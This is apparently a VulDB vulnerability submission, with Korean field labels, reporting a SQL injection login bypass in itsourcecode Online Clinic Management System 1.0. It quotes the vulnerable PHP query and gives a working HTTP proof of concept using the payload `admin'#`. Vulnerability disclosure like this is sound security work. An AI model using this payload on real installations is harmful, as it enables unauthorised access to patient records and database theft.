| 제목 | itsourcecode Online Clinic Management System 1.0 SQL Injection |
|---|
| 설명 | Description:
The admin login uses `htmlspecialchars()` with default `ENT_COMPAT` flag which only escapes double quotes, NOT single quotes. Combined with raw SQL concatenation and MD5 password hashing, this enables SQL injection auth bypass via `admin'#`.
Vulnerable Code:
**File**: `success/login.php`, Lines 17-35
```php
$email = $_POST['username'];
$fpass = $_POST['password'];
// check_input() uses htmlspecialchars(), ENT_COMPAT doesn't escape single quotes
$query = "SELECT * FROM admin WHERE username='$email' AND password=MD5('$fpass')";
$result = mysqli_query($con, $query);
```
Proof of Concept:
```http
POST /success/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=anything
```
Impact:
- Complete admin authentication bypass
- Full access to clinic patient records, prescriptions, equipment data
- Union injection enabled — full database extraction
Reference: https://github.com/microwaveabi/vul/issues/63 |
|---|
| 원천 | ⚠️ https://github.com/microwaveabi/vul/issues/63 |
|---|
| 사용자 | microwave (UID 96185) |
|---|
| 제출 | 2026. 07. 11. AM 05:18 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 08. 24. AM 07:43 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 394596 [itsourcecode Online Clinic Management System 1.0 Admin Login success/login.php 사용자 이름 SQL 주입] |
|---|
| 포인트들 | 20 |
|---|